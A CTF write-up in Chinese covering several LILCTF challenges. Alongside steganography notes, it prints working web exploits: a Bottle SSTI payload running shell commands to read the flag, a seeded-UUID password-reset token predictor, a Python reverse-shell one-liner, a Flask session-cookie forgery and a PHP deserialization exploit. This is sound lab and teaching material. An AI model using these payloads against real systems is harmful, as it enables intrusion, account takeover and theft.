Misc PNG Master | Stuck 出题 :YanHuoLG
难度 :简单
提到隐写,你能想到哪些常见的隐写方式呢?不过我相信misc手的脑洞一定能想到某个基于最低有效位实现的隐写方法吧?哦对了,我可不认为扩展名也是文件名的一部分。(比C3ngH简单)
赛中没做出来,卡在最后flag3了。所以赛后看其他师傅wp复现了一下。
题目共涉及三种隐写方式:LSB,16进制文本末尾额外数据,IDAT块隐写。
flag
base64解码一下得到flag1:
1 让你难过的事情,有一天,你一定会笑着说出来flag1 :4 c 494 c 4354467 b
LSB再base64得到flag2:
1 在我们心里,有一块地方是无法锁住的,那块地方叫做希望flag2:5930755f3472335f4d
IDAT块隐写:
提取之后zlib解压缩:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import zlibimport binasciiwith open ("D:\\OneDrive\\Desktop\\无标题1" , "rb" ) as f: id = f.read().hex ().upper() result = binascii.unhexlify(id ) print ("原始字节数据:" )print (result)decompressed = zlib.decompress(result) print ("\n解压后的字节数据:" )print (decompressed)decompressed_hex = binascii.hexlify(decompressed).decode('utf-8' ) print ("\n解压后的十六进制数据:" )print (decompressed_hex)try : print ("\n解压后的字符串:" ) print (decompressed.decode('utf-8' )) except UnicodeDecodeError: print ("\n解压结果不是UTF-8编码的文本数据" ) try : print ("使用ISO-8859-1编码尝试解码:" ) print (decompressed.decode('iso-8859-1' )) except UnicodeDecodeError: print ("无法将解压结果解码为文本" )
解压结果看出有PK开头,是压缩包,于是提取保存解压。
拿到hint.txt,零宽字节隐写,得到提示:与文件名xor
1 flag3 : 61733765725 f696e5f504e477d
1 2 3 4 5 6 7 8 9 10 11 12 13 让你难过的事情,有一天,你一定会笑着说出来flag1:4c494c4354467b 在我们心里,有一块地方是无法锁住的,那块地方叫做希望flag2:5930755f3472335f4d flag3: 61733765725f696e5f504e477d 4c494c4354467b5930755f3472335f4d61733765725f696e5f504e477d hex转:LILCTF{Y0u_4r3_Mas7er_in_PNG}
Web ez_bottle | Solved (赛后看看:https://www.tremse.cn/2025/04/12/bottle%E6%A1%86%E6%9E%B6%E7%9A%84%E4%B8%80%E4%BA%9B%E7%89%B9%E6%80%A7/#bottle-de-xuan-ran-ji-zhi
https://www.cnblogs.com/LAMENTXU/articles/18805019
出题:0raN9e
难度:简单
能顺利帮瓶子回去嘛
附件源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from bottle import route, run, template, post, request, static_file, errorimport osimport zipfileimport hashlibimport timeUPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads' ) os.makedirs(UPLOAD_DIR, exist_ok=True ) STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static' ) MAX_FILE_SIZE = 1 * 1024 * 1024 BLACK_DICT = ["{" , "}" , "os" , "eval" , "exec" , "sock" , "<" , ">" , "bul" , "class" , "?" , ":" , "bash" , "_" , "globals" , "get" , "open" ] def contains_blacklist (content ): return any (black in content for black in BLACK_DICT) def is_symlink (zipinfo ): return (zipinfo.external_attr >> 16 ) & 0o170000 == 0o120000 def is_safe_path (base_dir, target_path ): return os.path.realpath(target_path).startswith(os.path.realpath(base_dir)) @route('/' ) def index (): return static_file('index.html' , root=STATIC_DIR) @route('/static/<filename>' ) def server_static (filename ): return static_file(filename, root=STATIC_DIR) @route('/view/<md5>/<filename>' ) def view_file (md5, filename ): file_path = os.path.join(UPLOAD_DIR, md5, filename) if not os.path.exists(file_path): return "File not found." with open (file_path, 'r' , encoding='utf-8' ) as f: content = f.read() if contains_blacklist(content): return "you are hacker!!!nonono!!!" try : return template(content) except Exception as e: return f"Error rendering template: {str (e)} " @error(404 ) def error404 (error ): return "bbbbbboooottle" @error(403 ) def error403 (error ): return "Forbidden: You don't have permission to access this resource." if __name__ == '__main__' : run(host='0.0.0.0' , port=5000 , debug=False )
解题过程 /upload路由有个文件上传的逻辑,但是没有上传处,拷打gpt写了一个html页面上传(后面没用到,权当过程记录 ):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 <!DOCTYPE html > <html lang ="zh" > <head > <meta charset ="UTF-8" /> <meta name ="viewport" content ="width=device-width, initial-scale=1.0" /> <title > 回收站 - 上传</title > <style > body { font-family : Arial, sans-serif; background-color : #f4f4f4 ; display : flex; justify-content : center; align-items : center; height : 100vh ; margin : 0 ; } .container { text-align : center; background : #fff ; padding : 40px ; border-radius : 10px ; box-shadow : 0 0 15px rgba (0 , 0 , 0 , 0.1 ); width : 450px ; } h2 { color : #333 ; margin-bottom : 20px ; font-size : 24px ; } .hint { color : #666 ; font-size : 14px ; margin-bottom : 16px ; } .garbage-bins { display : flex; justify-content : center; margin-bottom : 16px ; } .bin { width : 200px ; height : 200px ; background-image : url ('/static/back.png' ); background-size : contain; background-repeat : no-repeat; background-position : center; cursor : pointer; transition : transform 0.2s ease, box-shadow 0.2s ease; border-radius : 12px ; border : 2px dashed transparent; } .bin :hover { transform : scale (1.05 ); } .bin .dragover { border-color : #4caf50 ; box-shadow : 0 0 0 4px rgba (76 , 175 , 80 , 0.15 ); transform : scale (1.06 ); } .actions { display : flex; gap : 10px ; justify-content : center; margin-top : 8px ; } button , .btn { padding : 10px 16px ; border-radius : 8px ; border : none; background : #4caf50 ; color : #fff ; cursor : pointer; font-size : 14px ; } button :disabled { background : #9e9e9e ; cursor : not-allowed; } .status { font-size : 13px ; color : #555 ; margin-top : 10px ; min-height : 1.2em ; } input [type="file" ] { display : none; } </style > </head > <body > <div class ="container" > <h2 > 瓶子该去哪里</h2 > <p class ="hint" > 点垃圾桶选择文件,或把文件拖到垃圾桶中上传(不再自动提交)。</p > <form id ="uploadForm" action ="http://challenge.xinshi.fun:41907/upload" method ="POST" enctype ="multipart/form-data" > <div class ="garbage-bins" > <div id ="bin" class ="bin" title ="点击选择文件或拖拽到这里" > </div > </div > <input id ="fileInput" type ="file" name ="file" /> <div class ="actions" > <button id ="chooseBtn" type ="button" > 选择文件</button > <button id ="uploadBtn" type ="submit" disabled > 上传</button > </div > <div id ="status" class ="status" > </div > </form > </div > <script > const bin = document .getElementById ('bin' ); const fileInput = document .getElementById ('fileInput' ); const form = document .getElementById ('uploadForm' ); const chooseBtn = document .getElementById ('chooseBtn' ); const uploadBtn = document .getElementById ('uploadBtn' ); const statusEl = document .getElementById ('status' ); const MAX_FILE_SIZE = 1 * 1024 * 1024 ; function setStatus (msg ) { statusEl.textContent = msg || '' ; } function enableUploadIfReady ( ) { uploadBtn.disabled = !(fileInput.files && fileInput.files .length > 0 ); } function describeFile (f ) { return `${f.name} (${Math .round(f.size/1024 )} KB)` ; } bin.addEventListener ('click' , () => fileInput.click ()); chooseBtn.addEventListener ('click' , () => fileInput.click ()); fileInput.addEventListener ('change' , () => { if (fileInput.files && fileInput.files .length > 0 ) { const f = fileInput.files [0 ]; if (f.size > MAX_FILE_SIZE ) { setStatus (`文件过大:${describeFile(f)} (上限 1MB)` ); fileInput.value = '' ; enableUploadIfReady (); return ; } setStatus (`已选择:${describeFile(f)} (请点击“上传”)` ); } else { setStatus ('' ); } enableUploadIfReady (); }); ['dragenter' ,'dragover' ].forEach (evt => { bin.addEventListener (evt, (e ) => { e.preventDefault (); e.stopPropagation (); bin.classList .add ('dragover' ); }); }); ['dragleave' ,'drop' ].forEach (evt => { bin.addEventListener (evt, (e ) => { e.preventDefault (); e.stopPropagation (); bin.classList .remove ('dragover' ); }); }); bin.addEventListener ('drop' , (e ) => { if (e.dataTransfer && e.dataTransfer .files && e.dataTransfer .files .length > 0 ) { const f = e.dataTransfer .files [0 ]; if (f.size > MAX_FILE_SIZE ) { setStatus (`文件过大:${describeFile(f)} (上限 1MB)` ); return ; } fileInput.files = e.dataTransfer .files ; setStatus (`已选择:${describeFile(f)} (请点击“上传”)` ); enableUploadIfReady (); } }); ['dragenter' ,'dragover' ,'dragleave' ,'drop' ].forEach (evt => { window .addEventListener (evt, (e ) => e.preventDefault ()); }); form.addEventListener ('submit' , (e ) => { if (!fileInput.files || fileInput.files .length === 0 ) { e.preventDefault (); setStatus ('请先选择文件' ); return ; } const f = fileInput.files [0 ]; if (f.size > MAX_FILE_SIZE ) { e.preventDefault (); setStatus (`文件过大:${describeFile(f)} (上限 1MB)` ); return ; } setStatus ('正在上传…' ); }); </script > </body > </html >
源码48行return template(content)
可看出有SSTI,再结合题目提示,应该是bottle 框架的相关模板SSTI。
后面发现每次改一下payload都要压缩一次再上传,索性直接本地起个服务完成这一套最后回显结果即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 import zipfileimport requestsimport osfrom io import BytesIOimport reimport sysfrom flask import Flask, request, jsonifyapp = Flask(__name__) upload_url = "http://challenge.xinshi.fun:49072/upload" txt_filename = "1.txt" zip_filename = "1.zip" REQUEST_TIMEOUT = 10 def create_and_upload_zip (content, url ): """ 将给定的内容写入txt文件,压缩成zip,然后上传到指定URL。 """ try : with open (txt_filename, 'w' , encoding='utf-8' ) as f: f.write(content) print (f"成功创建文件 '{txt_filename} ' 并写入内容。" ) except IOError as e: print (f"错误:无法写入文件 '{txt_filename} ': {e} " ) return try : with zipfile.ZipFile(zip_filename, 'w' , zipfile.ZIP_DEFLATED) as zf: zf.write(txt_filename) print (f"成功将 '{txt_filename} ' 压缩为 '{zip_filename} '。" ) except Exception as e: print (f"错误:压缩文件失败: {e} " ) return print (f"正在上传 '{zip_filename} ' 到 {url} ..." ) try : with open (zip_filename, 'rb' ) as f: files = {'file' : (zip_filename, f, 'application/zip' )} response = requests.post(url, files=files, timeout=REQUEST_TIMEOUT) print ("\n--- 服务器响应 ---" ) print (f"状态码: {response.status_code} " ) print ("响应内容:" ) print (response.text) print ("------------------" ) except requests.exceptions.Timeout: print (f"\n错误:上传超时" ) except requests.exceptions.RequestException as e: print (f"\n错误:上传失败: {e} " ) finally : print ("\n清理本地文件..." ) try : if os.path.exists(txt_filename): os.remove(txt_filename) print (f"已删除 '{txt_filename} '。" ) if os.path.exists(zip_filename): os.remove(zip_filename) print (f"已删除 '{zip_filename} '。" ) except : pass @app.route('/upload' , methods=['GET' ] ) def upload (): content = request.args.get('content' ) if not content: return "未提供内容" , 400 try : with open (txt_filename, 'w' , encoding='utf-8' ) as f: f.write(content) with zipfile.ZipFile(zip_filename, 'w' , zipfile.ZIP_DEFLATED) as zf: zf.write(txt_filename) with open (zip_filename, 'rb' ) as f: response = requests.post(upload_url, files={"file" : (zip_filename, f, 'application/zip' )}, timeout=REQUEST_TIMEOUT) if response.status_code == 200 : md5_match = re.search(r'/view/([a-f0-9]+)/1\.txt' , response.text) if md5_match: md5_value = md5_match.group(1 ) view_url = f"http://challenge.xinshi.fun:49072/view/{md5_value} /1.txt" view_response = requests.get(view_url, timeout=REQUEST_TIMEOUT) if view_response.status_code == 200 : try : view_content = view_response.content.decode('utf-8' ) except UnicodeDecodeError: view_content = view_response.text else : view_content = f"无法获取文件内容,状态码: {view_response.status_code} " result = view_content else : result = "无法从响应中提取文件路径" else : result = f"上传失败,状态码: {response.status_code} " except requests.exceptions.Timeout: result = "请求超时" except requests.exceptions.RequestException as e: result = f"网络请求错误: {str (e)} " except Exception as e: result = f"错误: {str (e)} " finally : try : if os.path.exists(txt_filename): os.remove(txt_filename) if os.path.exists(zip_filename): os.remove(zip_filename) except : pass return result @app.route('/result' , methods=['GET' ] ) def result (): file_url = request.args.get('file_url' ) if not file_url: return jsonify({"error" : "No file URL provided" }), 400 try : view_response = requests.get(file_url) if view_response.status_code == 200 : view_content = view_response.text else : view_content = f"Error accessing file: {view_response.status_code} " except Exception as e: view_content = f"Error accessing file: {e} " return jsonify({"message" : "File uploaded successfully" , "view_info" : view_content}) @app.route('/' ) def home (): return "欢迎使用上传服务! 使用 /upload?content=你的内容 来上传文件。" , 200 if __name__ == "__main__" : app.run(debug=True )
需要绕过黑名单:
1 2 BLACK_DICT = [ "{" , "}" , "os" , "eval" , "exec" , "sock" , "<" , ">" , "bul" , "class" , "?" , ":" , "bash" , "_" , "globals" , "get" , "open" ]
绷不住了现在5个小时了还没绕过去。。。
1 看了看模板语法,{{}}可以用% 或者<%%>来代替,但这里尖括号被waf了,所以只能用%,模板语法显示%后面可以直接写一行python 代码被执行,我们可以使用分号来达到执行多行的效果。
在没搞清楚语法之前直接继承链在那打了好几个小时,试了很多payload,还在常常是绕waf(绷)。最后翻了一下python中能用来代码执行的库函数,找到了subprocess.run()。
由于本题是无回显的,而且不能反弹shell,所以尝试直接读flag,写入静态目录/static,| tee可用来代替重定向符号。
构造了payload如下:
1 http://127.0.0.1:5000/upload?content=% import subprocess;subprocess.run(['sh','-c','cat /flag | tee static/2.txt'])
如果回显是空白,说明执行成功了。
访问/static/2.txt即可得到flag 为 LILCTF{80TT13_H4S_8eEN_RecYc1ED}
blade_cc 出题:N1ght
难度:困难
万恶的n1ght,留出了一个反序列化入口,但是他做了黑名单和不出网,你能想办法完成这个挑战吗?
附件:
解题过程 php_jail_is_my_cry | Stuck 出题:Kengwang
难度:中等
PHP Jail is my CRY
请注意附件中的代码存在一行需要你补充的代码, 已经注释表明, 否则会存在问题
本题不出网, 最终需要执行 /readflag
赛后复现时该读的文章:open_basedir绕过 - Von的博客 | Von Blog
解题过程 Ekko_note | Solved 出题:LamentXU
难度:简单
时间刺客Ekko成功当上了某上市公司的老板。于是他让员工给他写一个只有他能用的RCE接口…… 但是,这个员工写的代码好像有点问题?
题目已在修复依赖环境后重新上线;附件已更新;由于部分队伍在下线前已经下载附件,本题前三血不加分。
Hint: 艾克喜欢新东西…… 好像他的员工也是这样的。uuid.uuid8()不是所有python版本都有哦~
附件源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 ''' @File : app.py @Time : 2066/07/05 19:20:29 @Author : Ekko exec inc. 某牛马程序员 ''' import osimport timeimport uuidimport requestsfrom functools import wrapsfrom datetime import datetimefrom secrets import token_urlsafefrom flask_sqlalchemy import SQLAlchemyfrom werkzeug.security import generate_password_hash, check_password_hashfrom flask import Flask, render_template, redirect, url_for, request, flash, sessionSERVER_START_TIME = time.time() import randomrandom.seed(SERVER_START_TIME) admin_super_strong_password = token_urlsafe() app = Flask(__name__) app.config['SECRET_KEY' ] = 'your-secret-key-here' app.config['SQLALCHEMY_DATABASE_URI' ] = 'sqlite:///site.db' app.config['SQLALCHEMY_TRACK_MODIFICATIONS' ] = False db = SQLAlchemy(app) class User (db.Model): id = db.Column(db.Integer, primary_key=True ) username = db.Column(db.String(20 ), unique=True , nullable=False ) email = db.Column(db.String(120 ), unique=True , nullable=False ) password = db.Column(db.String(60 ), nullable=False ) is_admin = db.Column(db.Boolean, default=False ) time_api = db.Column(db.String(200 ), default='https://api.yyy001.com/api/alltime?timezone=Asia/Shanghai' ) class PasswordResetToken (db.Model): id = db.Column(db.Integer, primary_key=True ) user_id = db.Column(db.Integer, db.ForeignKey('user.id' ), nullable=False ) token = db.Column(db.String(36 ), unique=True , nullable=False ) used = db.Column(db.Boolean, default=False ) def padding (input_string ): byte_string = input_string.encode('utf-8' ) if len (byte_string) > 6 : byte_string = byte_string[:6 ] padded_byte_string = byte_string.ljust(6 , b'\x00' ) padded_int = int .from_bytes(padded_byte_string, byteorder='big' ) return padded_int with app.app_context(): db.create_all() if not User.query.filter_by(username='admin' ).first(): admin = User( username='admin' , email='admin@example.com' , password=generate_password_hash(admin_super_strong_password), is_admin=True ) db.session.add(admin) db.session.commit() def login_required (f ): @wraps(f ) def decorated_function (*args, **kwargs ): if 'user_id' not in session: flash('请登录' , 'danger' ) return redirect(url_for('login' )) return f(*args, **kwargs) return decorated_function def admin_required (f ): @wraps(f ) def decorated_function (*args, **kwargs ): if 'user_id' not in session: flash('请登录' , 'danger' ) return redirect(url_for('login' )) user = User.query.get(session['user_id' ]) if not user.is_admin: flash('你不是admin' , 'danger' ) return redirect(url_for('home' )) return f(*args, **kwargs) return decorated_function def check_time_api (): user = User.query.get(session['user_id' ]) try : response = requests.get(user.time_api) data = response.json() datetime_str = data.get('data' , '' ).get('datetime' , '' ) if datetime_str: print (datetime_str) current_time = datetime.fromisoformat(datetime_str) return current_time.year >= 2066 except Exception as e: return None return None @app.route('/' ) def home (): return render_template('home.html' ) @app.route('/server_info' ) @login_required def server_info (): return { 'server_start_time' : SERVER_START_TIME, 'current_time' : time.time() } @app.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : username = request.form.get('username' ) email = request.form.get('email' ) password = request.form.get('password' ) confirm_password = request.form.get('confirm_password' ) if password != confirm_password: flash('密码错误' , 'danger' ) return redirect(url_for('register' )) existing_user = User.query.filter_by(username=username).first() if existing_user: flash('已经存在这个用户了' , 'danger' ) return redirect(url_for('register' )) existing_email = User.query.filter_by(email=email).first() if existing_email: flash('这个邮箱已经被注册了' , 'danger' ) return redirect(url_for('register' )) hashed_password = generate_password_hash(password) new_user = User(username=username, email=email, password=hashed_password) db.session.add(new_user) db.session.commit() flash('注册成功,请登录' , 'success' ) return redirect(url_for('login' )) return render_template('register.html' ) @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if request.method == 'POST' : username = request.form.get('username' ) password = request.form.get('password' ) user = User.query.filter_by(username=username).first() if user and check_password_hash(user.password, password): session['user_id' ] = user.id session['username' ] = user.username session['is_admin' ] = user.is_admin flash('登陆成功,欢迎!' , 'success' ) return redirect(url_for('dashboard' )) else : flash('用户名或密码错误!' , 'danger' ) return redirect(url_for('login' )) return render_template('login.html' ) @app.route('/logout' ) @login_required def logout (): session.clear() flash('成功登出' , 'info' ) return redirect(url_for('home' )) @app.route('/dashboard' ) @login_required def dashboard (): return render_template('dashboard.html' ) @app.route('/forgot_password' , methods=['GET' , 'POST' ] ) def forgot_password (): if request.method == 'POST' : email = request.form.get('email' ) user = User.query.filter_by(email=email).first() if user: token = str (uuid.uuid8(a=padding(user.username))) reset_token = PasswordResetToken(user_id=user.id , token=token) db.session.add(reset_token) db.session.commit() flash(f'密码恢复token已经发送,请检查你的邮箱' , 'info' ) return redirect(url_for('reset_password' )) else : flash('没有找到该邮箱对应的注册账户' , 'danger' ) return redirect(url_for('forgot_password' )) return render_template('forgot_password.html' ) @app.route('/reset_password' , methods=['GET' , 'POST' ] ) def reset_password (): if request.method == 'POST' : token = request.form.get('token' ) new_password = request.form.get('new_password' ) confirm_password = request.form.get('confirm_password' ) if new_password != confirm_password: flash('密码不匹配' , 'danger' ) return redirect(url_for('reset_password' )) reset_token = PasswordResetToken.query.filter_by(token=token, used=False ).first() if reset_token: user = User.query.get(reset_token.user_id) user.password = generate_password_hash(new_password) reset_token.used = True db.session.commit() flash('成功重置密码!请重新登录' , 'success' ) return redirect(url_for('login' )) else : flash('无效或过期的token' , 'danger' ) return redirect(url_for('reset_password' )) return render_template('reset_password.html' ) @app.route('/execute_command' , methods=['GET' , 'POST' ] ) @login_required def execute_command (): result = check_time_api() if result is None : flash("API死了啦,都你害的啦。" , "danger" ) return redirect(url_for('dashboard' )) if not result: flash('2066年才完工哈,你可以穿越到2066年看看' , 'danger' ) return redirect(url_for('dashboard' )) if request.method == 'POST' : command = request.form.get('command' ) os.system(command) return redirect(url_for('execute_command' )) return render_template('execute_command.html' ) @app.route('/admin/settings' , methods=['GET' , 'POST' ] ) @admin_required def admin_settings (): user = User.query.get(session['user_id' ]) if request.method == 'POST' : new_api = request.form.get('time_api' ) user.time_api = new_api db.session.commit() flash('成功更新API!' , 'success' ) return redirect(url_for('admin_settings' )) return render_template('admin_settings.html' , time_api=user.time_api) if __name__ == '__main__' : app.run(debug=False , host="0.0.0.0" )
解题过程 解法1 根据题目描述和路由来看,最终目的是要触发236行的os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。
来RCE。
admin未知,先随便注册个用户进去看看:
点击执行命令之后提示时间要到2066年才会开放该功能,推测可能和底下的当前时间为准。
看到有相关时间调用的api,可知是从这里得到的时间。
而又发现admin/setting路由有api更新相关的逻辑实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 @app.route('/admin/settings' , methods=['GET' , 'POST' ] ) @admin_required def admin_settings (): user = User.query.get(session['user_id' ]) if request.method == 'POST' : new_api = request.form.get('time_api' ) user.time_api = new_api db.session.commit() flash('成功更新API!' , 'success' ) return redirect(url_for('admin_settings' )) return render_template('admin_settings.html' , time_api=user.time_api)
所以回来了,我们还是得想办法登录admin账户来实现这些。
注意到有忘记密码功能。
我们现在先阶段性总结一下: 更改密码 -> 登录admin -> 想办法进/admin/settings -> 更新api -> 进命令执行路由RCE
根据hint提示,了解到uuidv8是最新的python3.14才出的,于是google查到一篇最近的讲uuid安全的文章(聊聊python中的UUID安全 - LamentXU - 博客园 )里面有说道,a,b,c三个参数不定的话,其实就是伪随机,uuid的值将变得可预测。
安装最新的3.14前瞻版本的python,阅读uuid8源码 发现,uuid8调用了random函数,其实是伪随机。
从前面可以推算出服务器建站时间,但是不精确,源码中显示,/server_info路由回显有server_start_time
这正是我们想要的,登录普通用户然后控制台发送fetch('/server_info').then(r => r.json()).then(console.log)
即可拿到server_start_time的精确时间戳,。
脚本(自己本地跑,ai还没有3.14的环境):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import randomimport uuiddef padding(username: str) -> int: b = username.encode('utf-8 ') b = (b[:6 ] if len(b) > 6 else b.ljust(6 , b'\x00')) return int.from_bytes(b, 'big') seed = 1755370834 .1768594 # /server_info 拿到的浮点数username = "admin" # 目标账号的 username,务必改成正确的random .seed(seed)a_val = padding(username)print (f"padding: {a_val}" )print (str(uuid.uuid8(a=a_val)))
密码也就改成了我们自定义的,然后就可以登录admin账户了。
然后我们在这里更改api接口,从而让时间改为2066之后。
自己搭建api接口,格式参照原接口:{"date":"2025-08-15 23:57:17","weekday":"星期五","timestamp":1755273437,"remark":"任何情况请联系QQ:3295320658 微信服务号:顺成网络"}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from flask import Flask, Response, jsonifyfrom datetime import datetimeapp = Flask(__name__) @app.get("/api/time" ) def alltime (): target_dt = datetime(2067 , 7 , 5 , 19 , 20 , 29 ) return jsonify({ "date" : target_dt.strftime("%Y-%m-%d %H:%M:%S" ), "weekday" : "星期三" , "timestamp" : int (target_dt.timestamp()) }) app.run("0.0.0.0" , 5000 )
无回显,反弹shell:
1 python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ip",4567));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
flag为:ILCTF{u_H@Ve_10uNd_tHE_r1gH7_TimEIiNE!}
解法2 根据赛后群友讨论,这道题还存在一个非预期解法:Flask-Session伪造。
有点忘了,所以在这里记一下用于备忘:
1 2 3 4 5 6 7 8 E:\myCTFTools \WebTools \flask -session -cookie -manager -master \flask -session -cookie -manager -master >python flask_session_cookie_manager3.py decode -c ".eJw1zMEKgzAQBNBfaeecg4Yaa36lkRDjbiuoB9c9if_eUOlphuExByLPST4k8K8Dt70ExrS -aYNB0OfAbdDWtUPQhpsG_Wn -TDRnEvm5S3Tu4YI6W1dF246DMle5LIO15Ysz3ctBbzBJTOMyrfCcZiEDFdriNMLbq69pIXjUOL859TMx.aKMv3g.w -peDPRQSAdMp5RaAumcEWWGF8U " -s "your -secret -key -here " {'_flashes ': [('danger ', '请登录'), ('success ', '登陆成功,欢迎!')], 'is_admin ': False , 'user_id ': 2, 'username ': '1'} E :\myCTFTools \WebTools \flask -session -cookie -manager -master \flask -session -cookie -manager -master >python flask_session_cookie_manager3.py encode -t "{'_flashes ': [('danger ', '请登录'), ('success ', '登陆成功,欢迎!')], 'is_admin ': True , 'user_id ': 1, 'username ': 'admin '}" -s "your -secret -key -here ".eJw1zMEKgzAQBNBfaeecgwaNNb_SSIhxtxWqB9c9if_eUOlphuExByJ_krxJ4J8HbnsJTGl90QaDoI -Ru6Cd68agLbcthtP8mWjOJPJzl -hd44I6W1dF256DMle5LKO15Ysz3cvBYDBLTNMyr_D7pmSgQlucJ_j66mtaCB6XOb_ZgDS9.aKM1Qg.IK2q5r0cwxa5yrnSoN1Bc0daczM
Your Uns3r | Solved 出题:Kengwang
难度:简单
我一直在等待你的答案
题目给出源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php highlight_file (__FILE__ );class User { public $username ; public $value ; public function exec ( ) { $ser = unserialize (serialize (unserialize ($this ->value))); if ($ser != $this ->value && $ser instanceof Access) { include ($ser ->getToken ()); } } public function __destruct ( ) { if ($this ->username == "admin" ) { $this ->exec (); } } } class Access { protected $prefix ; protected $suffix ; public function getToken ( ) { if (!is_string ($this ->prefix) || !is_string ($this ->suffix)) { throw new Exception ("Go to HELL!" ); } $result = $this ->prefix . 'lilctf' . $this ->suffix; if (strpos ($result , 'pearcmd' ) !== false ) { throw new Exception ("Can I have peachcmd?" ); } return $result ; } } $ser = $_POST ["user" ];if (strpos ($ser , 'admin' ) !== false && strpos ($ser , 'Access":' ) !== false ) { exit ("no way!!!!" ); } $user = unserialize ($ser );throw new Exception ("nonono!!!" );
解题过程 分析关键函数应该是11行include($ser->getToken());
初始执行User类中的__destruct
魔术方法,需要满足$this->username == "admin"
,设置$user->username = true;``我们可以通过php中
true` == 所有字符串的特性来绕过。
接下来需要绕过$ser != $this->value && $ser instanceof Access
,可以通过赋值$user->value = serialize($access);
再经过$ser = unserialize(serialize(unserialize($this->value)));
,使得ser变量成为一个不同于$access
的Access实例,从而绕过。
本地通了!好机会!
但是靶机用这个依旧打不通,难道是靶机的配置也是默认没开? 突然灵机一动,如果本地把最后一行加上呢?试了一下居然打不通了,注释之后又能打通了。意识到这是个问题,要绕过。
https://www.wangan.com/p/7fy7f46cd2c8727f#fastdestruct%E6%8F%90%E5%89%8D%E8%A7%A6%E5%8F%91%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
省流:throw会不让__destruct执行,删除最后一个括号便可以提前执行从而绕过。
看报错消息,不能用那些伪协议了。但仍然可以直接用路径或者file。
成功包含文件:
flag为:LILCTF{6ONN@_flnD_y#Ur_4nSWer_T0_un53r}
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class User { public $username ; public $value ; } class Access { protected $prefix ; protected $suffix ; public function __construct ($prefix = '/' , $suffix = '/../flag' ) { $this ->prefix = $prefix ; $this ->suffix = $suffix ; } } $user = new User ();$access = new Access (); $user ->value = serialize ($access );$user ->username = true ; echo serialize ($user );echo "\n" ;echo urlencode (serialize ($user ));?>
我曾有一份工作 | Stuck 出题:晨曦
难度:中等
一次备份,换来的是一张辞职信
flag 在 pre_a_flag
表里
本题允许使用扫描器
解题过程 登录之后有留言板,尝试一下xss:
https://zone.ci/aliyun/ali_nvd/39151.html
漏洞复现-DiscuzX 系列全版本后台SQL注入漏洞_ucenter漏洞-CSDN博客 推测是打越权然后,登录admin,最后sql注入。但是不会(
有找回密码功能 ,试了试并不能直接找回。
想法:或许能通过普通用户找回密码时候越权呢?
搜索页面有报错: